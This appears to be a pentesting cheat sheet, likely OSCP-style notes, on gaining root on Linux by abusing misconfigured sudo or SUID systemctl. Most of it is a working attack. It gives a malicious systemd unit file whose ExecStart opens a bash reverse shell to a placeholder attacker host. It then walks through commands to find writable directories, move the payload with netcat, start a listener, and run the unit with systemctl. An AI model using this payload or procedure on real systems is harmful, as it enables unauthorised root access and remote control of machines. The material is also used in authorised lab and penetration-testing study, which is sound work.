Linux Privilege Escalation: systemctl (Misconfigured Permissions — sudo/suid)

Privilege Escalation.md

0. Prepare your payload root.service

[Unit]
Description=roooooooooot

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/KaliIP/9999 0>&1'

[Install]
WantedBy=multi-user.target

1. Find a files/directories that writable

find / -type f -maxdepth 2 -writable

or

find / -type d -maxdepth 2 -writable

2. Transfter the payload(Or just write file there using vi)

Init the target listening the port

nc -vl 44444 > root.service

Send file to traget

nc -n TargetIP 44444 < root.service

3. Start listening on the 9999

nc -lvnp 9999

4. Execute the payload(assume the file is under /dev/shm)

/bin/systemctl enable /dev/shm/root.service
Created symlink from /etc/systemd/system/multi-user.target.wants/root.service to /dev/shm/root.service
Created symlink from /etc/systemd/system/root.service -> /dev/shm/root.service

/bin/systemctl start root

5. The nc listening on 9999 would give you the root

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Expand Knowlege

• https://alvinsmith.gitbook.io/progressive-oscp/untitled/vulnversity-privilege-escalation
• https://gtfobins.github.io/gtfobins/systemctl/#suid
• https://stackoverflow.com/questions/2491985/find-all-writable-files-in-the-current-directory
• https://www.maketecheasier.com/netcat-transfer-files-between-linux-computers/
• https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49